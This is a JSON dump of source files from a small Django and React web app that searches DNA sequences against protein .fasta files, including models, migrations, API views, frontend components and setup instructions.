[ { "alpha_fraction": 0.7779262661933899, "alphanum_fraction": 0.7807905077934265, "avg_line_length": 82.11111450195312, "blob_id": "93d0fe6dc0b20347337002cd61350b98fa672b29", "content_id": "f50fbcbf6e9153f1d21f9ea9f2c7f07d7cad2bc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5245, "license_type": "no_license", "max_line_length": 480, "num_lines": 63, "path": "/README.md", "repo_name": "rorodata/style-transfer-demo", "src_encoding": "UTF-8", "text": "# Style Transfer\n\n### About This Demo Application\nIn this Style Transfer Demo, we demonstrate the workings of an iterative procedure that transfers the style from one image to the contents of another image, e.g. something like this…\n\n![alt-text](stylex.jpg)\n\nStyle Transfer works by starting with an array which is just random noise, and applies two loss functions to it – a Style Loss Function that gets the image closer and closer in Style to the Image whose style we want to match, and a Content Loss Function that gets the image closer and closer to an image whose Content or looks we want to match. As we minimize this joint loss function, the result is an image which has the content of the Content image and style of the Style image\n\nPlease look at the notebook in the rorodata github repository [here](https://github.com/rorodata/style-transfer-demo/blob/master/notebooks/Style_Transfer_NB.ipynb) for more details.\n\n### Productionizing Machine Learning Models Using rorodata \nBelow, we discuss how a data scientist can deploy and manage data science models in production using rorodata platform, with just a few simple lines of command from a CLI. In this writeup, we shall illustrate this using Python, a similar write-up for R is on the way. \n\nThere is a lot that goes on behind the scenes in the rorodata platform. It may be hard to appreciate the demo without some understanding of this. For a quick, high level view of the rorodata platform and it's workings, [go here](https://github.com/rorodata/documents/blob/master/about-rorodata.md)\n\n\n#### Prerequisites\n- Download roro client for python3 using `pip install roro`. Note that currently, we only support python 3.5 and above.\n- You must have a rorodata platform account, as the models will be deployed on rorodata platform for this example. You may request access [here](http://www.rorodata.com). \n\n#### Steps (code only)\n```\n> git clone https://github.com/rorodata/style-transfer-demo.git\n> cd style-transfer-demo\n\n# NOTE: edit roro.yml to change project name to name of new project, I am using the project name style-transfer for this example\n> roro create style-transfer\nCreated project: style-transfer\n\n> roro deploy\nDeploying project style-transfer. This may take a few moments ...\nRestarted one service.\ndefault: https://style-transfer.rorocloud.io/\n\n```\n\n\n#### Steps (verbose)\n1.\tClone the code repository rorodata/credit-scoring-demo (manually or using git) and download the files to a local directory. You will shortly deploy this repository on rorocloud as your own project.\n2.\tPick a unique project name for the project you are about to create on the data platform. Remember to keep a short readable name without spaces or special characters (hyphen is ok). \n3.\tEdit the roro.yml file, and change the part after project: to match your project name exactly, and save it. The roro.yml is a simple text file that tells the rorodata platform what to do during deployment. You can understand more about the structure and specifications that can go into the YML file here \n4.\tYou will now deploy code from the local repository you just edited, into production on rorodata platform. Navigate to the above mentioned repository using command prompt. From here, login to the rorodata platform using roro login from command prompt. You are now using roro client connected to rorodata platform. Send us an email if you run into any issues and we shall help you out quickly\n5.\tCreate your (new) project using the command roro create your-project-name. Remember to us the same name you picked in step 2,3. Remember, this project is the entire machine learning application including its code, all associated tasks and services, persistent data volumes, and ML models. Once done, you can use the command roro projects to view a list of all your projects. Make sure that you can see the project you just created.\n6.\tYou are now ready to deploy your project code to production. From the same command prompt location as in the previous step, type roro deploy and press enter. This When a project is deployed, rorodata takes its cue from the roro.yml file and execute deployment steps one by one. You can see a list / trace of all these steps once roro deploy finishes.\n7.\tYour services should now be ready and serving, with URL endpoints for each service as instructed by you in the roro.yml file. You can check if the service is running using the command roro ps –a. \n9.\tThe rorodata platform services are REST-APIs, and can be accessed using any client service. The easiest way to test this is through our firefly library. You can install this using `pip install firefly-python` and query the service using the same example as in the notebook\n10.\tLet’s now use the API we created, to do some style transfer\n\n\n```\n\n#we will use firefly to call our API, you can use any other library e.g. Requests\n> import firefly\n\n#change the below statement to match your prediction service api name\n> style_api=firefly.Client(\"https://style-transfer.rorocloud.io/\")\n\n> content_file=open('two_birds.jpg', \"rb\"), format='jpg'))\n> style_file=open('picasso.jpg', \"rb\"), format='jpg'))\n> result_image = style_api.style_transfer(content_fileobj = content_file, style_fileobj=style_file)\n\n```\n\n" }, { "alpha_fraction": 0.6556291580200195, "alphanum_fraction": 0.6589403748512268, "avg_line_length": 26.363636016845703, "blob_id": "433a8aa9618c75e9a2d4a1466e8caf00b8142441", "content_id": "29b94717bc3152c184c5a6a385143784ae56e0c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 302, "license_type": "no_license", "max_line_length": 63, "num_lines": 11, "path": "/test.py", "repo_name": "rorodata/style-transfer-demo", "src_encoding": "UTF-8", "text": "import firefly\n\nx = firefly.Client(\"https://style-transfer-demo.rorocloud.io/\")\n\nnew_img = x.style_transfer(\n content_fileobj=open(\"data/two_birds_photo.jpg\", \"rb\"),\n style_fileobj=open(\"data/picasso.jpg\", \"rb\"),\n n_iterations=1)\n\nwith open(\"new.jpg\", \"wb\") as f:\n f.write(new_img.read())\n\n" }, { "alpha_fraction": 0.6636670231819153, "alphanum_fraction": 0.6909449100494385, "avg_line_length": 32.85714340209961, "blob_id": "5d294372bdd906346e88356cffe1e5342639cc78", "content_id": "354fcb315bbb2b0cabaf7a228c4dbb8effdd2457", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3556, "license_type": "no_license", "max_line_length": 123, "num_lines": 105, "path": "/StyleTransfer.py", "repo_name": "rorodata/style-transfer-demo", "src_encoding": "UTF-8", "text": "print(\"starting StyleTransfer\")\nimport numpy as np, pandas as pd\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\nimport PIL\nimport scipy, scipy.misc, scipy.optimize\nfrom scipy.optimize import fmin_l_bfgs_b\nimport io\nprint(\"importing keras\")\n\n# #import tensorflow as tf\nimport keras\nfrom keras.models import Model\nimport keras.backend as K\nfrom keras import metrics\n\nprint(\"imports done\")\n\ndef gram_matrix(x):\n # We want each row to be a channel, and the columns to be flattened x,y locations\n features = K.batch_flatten(K.permute_dimensions(x, (2, 0, 1)))\n # The dot product of this with its transpose shows the correlation\n # between each pair of channels\n return K.dot(features, K.transpose(features)) / x.get_shape().num_elements()\n\n\ndef style_loss(x, targ):\n return K.mean(metrics.mse(gram_matrix(x), gram_matrix(targ)))\n\n\ndef StyleXfer(content_image, style_image, n_iterations=5, style_loss_wt=1.0, content_loss_wt=0.2):\n img_content=scipy.misc.imresize(content_image, (224,224))\n content_arr=img_content-127.5\n\n img_style=scipy.misc.imresize(style_image, (224,224))\n style_arr=img_style-127.5\n\n\n shp=(1,224,224,3)\n vgg_model=keras.applications.vgg16.VGG16(include_top=False, weights='imagenet', input_tensor=None, input_shape=shp[1:])\n\n outputs = {l.name: l.output for l in vgg_model.layers}\n\n layer=outputs['block2_conv1'] #block4_conv1\n content_model=Model(vgg_model.input, layer)\n\n target=content_model.predict(content_arr.reshape(shp))\n target=K.variable(target)\n\n loss=K.mean(metrics.mse(target, layer))\n grads=K.gradients(loss,content_model.input)\n\n style_layers = [outputs['block{}_conv2'.format(o)] for o in range(1,6)]\n style_model=Model(vgg_model.input, style_layers)\n style_targets=style_model.predict(style_arr.reshape(shp))\n style_targets=[K.variable(t) for t in style_targets]\n\n total_style_loss=sum([style_loss(i[0],j[0]) for (i,j) in zip(style_layers, style_targets)])\n\n #total_loss=(total_style_loss/5.0) + loss\n total_loss=(total_style_loss*style_loss_wt) + (loss*content_loss_wt)\n\n total_grads=K.gradients(total_loss, vgg_model.input)\n\n\n transfer_f2= K.function([vgg_model.input], [total_loss])\n transfer_f2der= K.function([vgg_model.input], total_grads)\n\n f2= lambda x: transfer_f2([x.reshape(shp)])[0].astype(np.float64)\n f2der=lambda x: transfer_f2der([x.reshape(shp)])[0].flatten().astype(np.float64)\n\n rand_img = lambda shape: np.random.uniform(-2.5, 2.5, shape)/1\n x = rand_img(shp)\n\n\n for i in range(n_iterations):\n print(\"iteration {}\", i)\n x, min_val, info = fmin_l_bfgs_b(f2, x, fprime=f2der, maxfun=20)\n x = np.clip(x, -127,127)\n\n final_img = (x.reshape(224,224,3)+127.5).astype('uint8')\n\n return final_img\n\ndef style_transfer(content_fileobj, style_fileobj,\n n_iterations=5, style_loss_wt=1.0, content_loss_wt=0.2):\n \"\"\"Takes a content image and a style image as file objects and\n transfers the style from style image to the content image.\n\n Returns the new image as a file object.\n \"\"\"\n print(\"style_transfer\", n_iterations, style_loss_wt, content_loss_wt)\n content_image = plt.imread(content_fileobj, format=\"jpg\")\n style_image = plt.imread(style_fileobj, format=\"jpg\")\n\n final_image = StyleXfer(content_image, style_image,\n n_iterations=int(n_iterations),\n style_loss_wt=float(style_loss_wt),\n content_loss_wt=float(content_loss_wt))\n\n f = io.BytesIO()\n plt.imsave(f, final_image)\n f.seek(0)\n return f\n\n" } ]
3
cnellington/GinkgoBackendChallenge
https://github.com/cnellington/GinkgoBackendChallenge
4d2239957dc4214b9f62ea1426f733d26575f100
9e4b9c1423cc6d6bd080d01e40937a2302d7f882
fe3e975edfefa752d5f4b2664fd6a839f2aea994
refs/heads/master
2020-08-12T09:59:39.437094
2020-04-11T23:05:16
2020-04-11T23:05:16
214,745,608
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5181347131729126, "alphanum_fraction": 0.5768566727638245, "avg_line_length": 24.173913955688477, "blob_id": "d009d91cd98806e5fd4411f19c152d26851cc820", "content_id": "89df825beb703265e71b7fc033c6295bde3f6bf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 579, "license_type": "no_license", "max_line_length": 70, "num_lines": 23, "path": "/ginkgoapp/alignments/migrations/0006_auto_20191031_0114.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-31 01:14\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0005_auto_20191030_2243'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='alignment',\n name='result_name',\n field=models.CharField(default='No Match', max_length=16),\n ),\n migrations.AlterField(\n model_name='alignment',\n name='result_start',\n field=models.IntegerField(default=-1),\n ),\n ]\n" }, { "alpha_fraction": 0.6209016442298889, "alphanum_fraction": 0.625, "avg_line_length": 18.520000457763672, "blob_id": "d2a8cc576b498f8694d9fc82f03a6e3a3e1ca17b", "content_id": "77c98fd9e2de272b0cadf8d80ee84bbe652ff2c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 488, "license_type": "no_license", "max_line_length": 52, "num_lines": 25, "path": "/ginkgoapp/frontend/src/components/SearchBar.js", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "import TextField from '@material-ui/core/TextField';\nimport React, {Component} from 'react';\n\nclass SearchBar extends Component {\n\trender() {\n\t\treturn (\n\t\t\t<div>\n\t\t\t\t<h3>{this.props.title}</h3>\n\t\t\t\t<TextField\n\t\t\t\t\tid={this.props.id}\n\t\t\t\t\tlabel={this.props.label}\n\t\t\t\t\tvalue={this.props.value}\n\t\t\t\t\tonChange={this.props.onChange}\n\t\t\t\t\tclassName={this.props.className}\n\t\t\t\t\tInputLabelProps={{\n\t\t\t\t\t\tshrink: true,\n\t\t\t\t\t}}\n\t\t\t\t\tautoFocus\n\t\t\t\t/>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\nexport default SearchBar;\n" }, { "alpha_fraction": 0.7338129281997681, "alphanum_fraction": 0.7338129281997681, "avg_line_length": 33.75, "blob_id": "3a1f8d39fe12d73b74d5adc5f31e30afa4a8a19a", "content_id": "22c6710b2d4aebcb1dd68f4a90ec3f5899f41095", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 278, "license_type": "no_license", "max_line_length": 76, "num_lines": 8, "path": "/ginkgoapp/alignments/serializers.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\nfrom alignments.models import Alignment\n\n# Alignment Serializer\nclass AlignmentSerializer(serializers.ModelSerializer):\n class Meta:\n model = Alignment\n fields = ('id', 'sequence', 'result_name', 'result_start', 'status')\n" }, { "alpha_fraction": 0.5757997035980225, "alphanum_fraction": 0.6050069332122803, "avg_line_length": 28.95833396911621, "blob_id": "7358be5e4cab0292c02bacdee2479f4d58f490a9", "content_id": "868dfb569f3503f23bc2cfb1deab3f082aac6085", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "no_license", "max_line_length": 129, "num_lines": 24, "path": "/ginkgoapp/alignments/migrations/0002_auto_20191026_2146.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-26 21:46\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='alignment',\n name='status',\n field=models.CharField(choices=[('Processed', 'Processed'), ('New', 'New')], default='New', max_length=10),\n ),\n migrations.AlterField(\n model_name='alignment',\n name='alignment',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='alignments.Protein'),\n ),\n ]\n" }, { "alpha_fraction": 0.8561643958091736, "alphanum_fraction": 0.8561643958091736, "avg_line_length": 28.200000762939453, "blob_id": "2038fb1f581636467717ceed0702cf5e40852b4a", "content_id": "27d26c32842bd6ed43e90ea0ab9ffb5561bd8fa0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 146, "license_type": "no_license", "max_line_length": 41, "num_lines": 5, "path": "/build.sh", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "pkill supervisord\npython ginkgoapp/manage.py makemigrations\npython ginkgoapp/manage.py migrate\nnpm run build\nsupervisord -c conf/supervisord.conf\n" }, { "alpha_fraction": 0.632867157459259, "alphanum_fraction": 0.6351981163024902, "avg_line_length": 25, "blob_id": "dc437cf64150a2ff0dc5f877e5eec6eafef17c91", "content_id": "71b3bca5a946c9bab7a7cbdedb99be24e65d7216", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1716, "license_type": "no_license", "max_line_length": 93, "num_lines": 66, "path": "/ginkgoapp/frontend/src/components/MainContainer.js", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "import React, {Component} from 'react';\nimport SearchBar from './SearchBar';\nimport Button from './Button';\nimport AlignmentList from './AlignmentList';\nimport * as fetch from \"node-fetch\";\n\nclass MainContainer extends Component {\n\tconstructor(props) {\n\t\tsuper(props);\n\t\tthis.state = {\n\t\t\tseq: \"\",\n\t\t\talignments: []\n\t\t};\n\t\tthis.save_loc = \"ginkgoSearchIds\";\n\t\tthis.backend = \"localhost\";\n\t\tif (localStorage.getItem(this.save_loc) === null) {\n\t\t\tlocalStorage.setItem(this.save_loc, JSON.stringify([]));\n\t\t}\n\t}\n\n\tupdateSeq = (event) => {\n\t\tlet sequence = event.target.value;\n\t\tthis.setState({seq: sequence});\n\t};\n\n\tsubmit = (event) => {\n\t\tlet connection = \"http://\"+this.backend+\":8000/api/alignments/\";\n\t\tlet payload = {\"sequence\": this.state.seq};\n\t\tfetch(connection,\n\t\t\t{\n\t\t\t\tmethod: 'post',\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t},\n\t\t\t\tbody: JSON.stringify(payload)\n\t\t\t})\n\t\t\t.then(res => res.json())\n\t\t\t.then(\n\t\t\t\t(json) => {\n\t\t\t\t\tif (typeof (json) != \"undefined\") {\n\t\t\t\t\t\tlet searchIds = JSON.parse(localStorage.getItem(this.save_loc));\n\t\t\t\t\t\tsearchIds.push(json[\"id\"]);\n\t\t\t\t\t\tlocalStorage.setItem(this.save_loc, JSON.stringify(searchIds));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t);\n\t\tthis.setState({seq: \"\"});\n\t};\n\n\tresetUser = (event) => {\n\t\tlocalStorage.setItem(this.save_loc, JSON.stringify([]));\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div className={\"text-center\"}>\n\t\t\t\t<SearchBar title={\"Enter DNA Query: \"} value={this.state.seq} onChange={this.updateSeq}/>\n\t\t\t\t<Button color=\"primary\" onClick={this.submit} value=\"Submit\"/>\n\t\t\t\t<Button color=\"secondary\" onClick={this.resetUser} value=\"Clear\"/>\n\t\t\t\t<AlignmentList save_loc={this.save_loc} backend={this.backend}/>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\nexport default MainContainer;\n" }, { "alpha_fraction": 0.5801169872283936, "alphanum_fraction": 0.5847952961921692, "avg_line_length": 37.90909194946289, "blob_id": "d417574e5045f51c108d3b23acd62bed3a58727e", "content_id": "e1939c46a7a23404ecec4dd29b9f2d7442cc8a24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 855, "license_type": "no_license", "max_line_length": 75, "num_lines": 22, "path": "/ginkgoapp/alignments/management/commands/populate_proteins.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "from django.core.management.base import BaseCommand, CommandError\n\nfrom Bio import SeqIO\n\nfrom alignments.models import Protein, status_choices\n\nclass Command(BaseCommand):\n help = 'Populate Proteins uploaded .fasta files'\n\n def handle(self, *args, **options):\n\n for protein in Protein.objects.filter(status=status_choices[0][0]):\n try:\n with protein.file.open('rU') as handle:\n for record in SeqIO.parse(handle, \"fasta\"):\n protein.name = record.id,\n protein.description = record.description,\n protein.sequence = record.seq\n protein.status = status_choices[1][0]\n protein.save()\n except FileNotFoundError:\n print(f\"File for Protein {protein.id} not found\")" }, { "alpha_fraction": 0.7466503977775574, "alphanum_fraction": 0.7466503977775574, "avg_line_length": 40.099998474121094, "blob_id": "f2d5a6d476bdbcdba745faa462e0c50554258239", "content_id": "6d4cbdf48aeb76e15a8a817c12f05f751a138900", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 821, "license_type": "no_license", "max_line_length": 91, "num_lines": 20, "path": "/ginkgoapp/alignments/api.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "import json\nfrom alignments.models import Alignment\nfrom rest_framework import viewsets, permissions\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom .serializers import AlignmentSerializer\n\n# Alignment Viewset\nclass AlignmentViewSet(viewsets.ModelViewSet):\n queryset = Alignment.objects.all().filter(status='Processed').order_by('-modified')\n permission_classes = [\n permissions.AllowAny\n ]\n serializer_class = AlignmentSerializer\n\n @action(detail=False, methods=['post'], url_path='id-specific', url_name='id_specific')\n def get_alignments_by_id(self, request):\n ids = json.loads(request.data['ids'])\n user_queries = self.queryset.filter(id__in=ids)\n return Response([AlignmentSerializer(query).data for query in user_queries])" }, { "alpha_fraction": 0.7945205569267273, "alphanum_fraction": 0.7945205569267273, "avg_line_length": 26.375, "blob_id": "162e923e09c309cc2eb1ad436825992a4a417ab1", "content_id": "d93461176b6aa76f628584688af93d0bd647417c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 219, "license_type": "no_license", "max_line_length": 48, "num_lines": 8, "path": "/ginkgoapp/alignments/admin.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom alignments.models import Protein, Alignment\n\nclass ProteinAdmin(admin.ModelAdmin):\n fields = ['file',]\n\nadmin.site.register(Protein, ProteinAdmin)\nadmin.site.register(Alignment)\n" }, { "alpha_fraction": 0.4904831647872925, "alphanum_fraction": 0.5402635335922241, "avg_line_length": 23.39285659790039, "blob_id": "521c069f11f74cf2560be3f55c866a6fa0adcb6b", "content_id": "a9716654f37e10278c856a5770cd3eba1d3f0bca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 683, "license_type": "no_license", "max_line_length": 63, "num_lines": 28, "path": "/ginkgoapp/alignments/migrations/0003_auto_20191030_2209.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-30 22:09\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0002_auto_20191026_2146'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='protein',\n old_name='name',\n new_name='description',\n ),\n migrations.RemoveField(\n model_name='protein',\n name='ref',\n ),\n migrations.AddField(\n model_name='protein',\n name='reference',\n field=models.CharField(default='0', max_length=16),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.6802919507026672, "alphanum_fraction": 0.6832116842269897, "avg_line_length": 30.136363983154297, "blob_id": "54be0b4cc1baaaf94a883414f03615ae57a3e7c5", "content_id": "b475c0ba7cf6b36d07ac06f7f0da1ee2fc125da2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 685, "license_type": "no_license", "max_line_length": 90, "num_lines": 22, "path": "/ginkgoapp/alignments/services.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "import random\n\ndef get_alignment(sequence):\n from .models import Protein\n results = None\n if sequence:\n results = Protein.objects.filter(sequence__icontains=sequence)\n return results\n\n\ndef process_alignment(alignment):\n results = get_alignment(alignment.sequence)\n if results:\n result_index = random.randint(0, len(results))\n protein = results[result_index]\n alignment.result_name = protein.description\n alignment.result_start = protein.sequence.lower().find(alignment.sequence.lower())\n else:\n alignment.result_name = \"No Match\"\n alignment.result_start = -1\n alignment.status = \"Processed\"\n alignment.save()\n" }, { "alpha_fraction": 0.5174999833106995, "alphanum_fraction": 0.5950000286102295, "avg_line_length": 21.22222137451172, "blob_id": "54f6b1cd2e9c4c778b75ef2432d06cebeed7f3a4", "content_id": "4a082ac697784acf1cdea4a81c8ce5805421a3ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 400, "license_type": "no_license", "max_line_length": 58, "num_lines": 18, "path": "/ginkgoapp/alignments/migrations/0009_auto_20191031_2129.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-31 21:29\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0008_auto_20191031_2127'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='protein',\n name='sequence',\n field=models.TextField(blank=True, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.518796980381012, "alphanum_fraction": 0.7105262875556946, "avg_line_length": 16.733333587646484, "blob_id": "78bcfdc2488377a085fb3495058a5e06e9579fc4", "content_id": "adab26e2482972ea614b453690e03718b3801675", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 266, "license_type": "no_license", "max_line_length": 27, "num_lines": 15, "path": "/requirements.txt", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "arrow==0.15.2\nbiopython==1.74\nblessed==1.15.0\nDjango==2.2.6\ndjango-cors-headers==3.1.1\ndjango-picklefield==2.0\ndjango-q==1.0.2\ndjangorestframework==3.10.3\nnumpy==1.17.2\npython-dateutil==2.8.0\npytz==2019.3\nsix==1.12.0\nsqlparse==0.3.0\nsupervisor==4.1.0\nwcwidth==0.1.7\n" }, { "alpha_fraction": 0.6784840822219849, "alphanum_fraction": 0.6882640719413757, "avg_line_length": 38.90243911743164, "blob_id": "970d833187851ea81af1c64bc0b62a39b90d2b79", "content_id": "546b1b52b707448990d0474cb12e2275f5eadcbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1636, "license_type": "no_license", "max_line_length": 98, "num_lines": 41, "path": "/ginkgoapp/alignments/models.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django_q.tasks import async_task\nfrom django.core.validators import FileExtensionValidator\n\nstatus_choices = ((\"New\", \"New\"), (\"Processed\", \"Processed\"))\nupload_dir = \"alignments/static/files/\"\n\n\n# Queryable protein\nclass Protein(models.Model):\n file = models.FileField(upload_to=f\"{upload_dir}protein_files/\",\n validators=[FileExtensionValidator(allowed_extensions=['fasta'])])\n status = models.CharField(choices=status_choices, default=status_choices[0][0], max_length=10)\n name = models.CharField(max_length=16, blank=True, null=True)\n description = models.CharField(max_length=128, blank=True, null=True)\n sequence = models.TextField(blank=True, null=True)\n created = models.DateTimeField(auto_now_add=True)\n modified = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n if self.description:\n return f\"{self.description}\"\n return \"Unprocessed\"\n\n\n# Search result\nclass Alignment(models.Model):\n sequence = models.TextField()\n result_name = models.CharField(max_length=16, default=\"No Match\")\n result_start = models.IntegerField(default=-1)\n status = models.CharField(choices=status_choices, default=status_choices[0][0], max_length=10)\n created = models.DateTimeField(auto_now_add=True)\n modified = models.DateTimeField(auto_now=True)\n\n def save(self, *args, **kwargs):\n super().save(*args, **kwargs)\n if self.status != 'Processed':\n async_task('alignments.services.process_alignment', self)\n\n def __str__(self):\n return f\"{self.result_name}, {self.modified}\"\n" }, { "alpha_fraction": 0.5202020406723022, "alphanum_fraction": 0.5808081030845642, "avg_line_length": 24.826086044311523, "blob_id": "7235406adebb687ed7c81e272a2ad5445893149b", "content_id": "a4ffdabfe5f62e12c925adca5271ebec7b996ba4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 594, "license_type": "no_license", "max_line_length": 74, "num_lines": 23, "path": "/ginkgoapp/alignments/migrations/0008_auto_20191031_2127.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-31 21:27\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0007_auto_20191031_2121'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='protein',\n name='description',\n field=models.CharField(blank=True, max_length=128, null=True),\n ),\n migrations.AlterField(\n model_name='protein',\n name='name',\n field=models.CharField(blank=True, max_length=16, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.7214673757553101, "alphanum_fraction": 0.73777174949646, "avg_line_length": 55.57692337036133, "blob_id": "fa7edfe92d976b7b68e3d36744f41d4d61c8331c", "content_id": "7ced08bb5592ba8995e6ccf5a671c367fab5e3d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1472, "license_type": "no_license", "max_line_length": 122, "num_lines": 26, "path": "/README.md", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Asynchronous BLAST Web App\n#### Description\nA simple React-Django webapp to query DNA sequences against a databank of .fasta files.\n#### Features\n* Persistent anonymous user sessions\n* Asynchronous query processing\n* Constantly updating results\n* REST-ful backend api\n* Intuitive build tools\n---\n### Setup\nThis setup is for linux machines. It requires ```python, npm, and virtualenv```\n1. Navigate to the directory you'd like to use\n2. ```git clone https://github.com/cnellington/GinkgoBackendChallenge.git```\n3. Start a new python3 virtual environment with ```virtualenv venv```\n4. ```pip install -r requirements.txt```\n5. ```npm install package.json```\n6. Edit the runserver and django-q commands in ```conf/supervisord.conf``` to have a path to your ```gingoapp/manage.py```\n7. Give the build command permissions with ```chmod -x build.sh```\n8. Run ```./build.sh``` to build the application! (There might be a few errors the first time)\n9. Create a new admin with ```python ginkgoapp/manage.py createsuperuser```\n10. Go to ```localhost:8000/admin/``` in your brower and log in\n11. Add all of your .fasta files under the Protein object. Save them, and they should be labeled \"unprocessed\"\n12. Run ```python ginkgoapp/manage.py populate_proteins``` to process all of the .fasta files\n13. Run ```./build.sh``` again, and your server should be ready to go!\n14. If running on an external server, you'll need to edit ```conf/config.json``` to have the correct properties. \n" }, { "alpha_fraction": 0.5201401114463806, "alphanum_fraction": 0.5779334306716919, "avg_line_length": 23.826086044311523, "blob_id": "b4694bd2a81e1b58a5d2932c989cbc133c75b114", "content_id": "2d87d3d2efb325966d10b485429b50652f96da08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 571, "license_type": "no_license", "max_line_length": 62, "num_lines": 23, "path": "/ginkgoapp/alignments/migrations/0005_auto_20191030_2243.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-30 22:43\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0004_auto_20191030_2211'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='alignment',\n name='result_name',\n field=models.CharField(blank=True, max_length=16),\n ),\n migrations.AlterField(\n model_name='alignment',\n name='result_start',\n field=models.IntegerField(blank=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5837507247924805, "alphanum_fraction": 0.5904284715652466, "avg_line_length": 20.650602340698242, "blob_id": "de6ae15003504dc170f671bc8dd4f8e997767eed", "content_id": "553e3fc56178be3985bc011e308b3aa975357b9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1797, "license_type": "no_license", "max_line_length": 106, "num_lines": 83, "path": "/ginkgoapp/frontend/src/components/AlignmentList.js", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "import React, {Component} from 'react';\n\nclass AlignmentList extends Component {\n\n\tconstructor(props) {\n\t\tsuper(props);\n\t\tthis.state = {\n\t\t\talignments: [],\n\t\t\tdisplay: []\n\t\t};\n\t}\n\n\tupdate() {\n\t this.loadAlignments();\n\t this.updateAlignments();\n\t }\n\n\tcomponentDidMount() {\n\t\tthis.update();\n\t\tthis.interval = setInterval(() => this.update(), 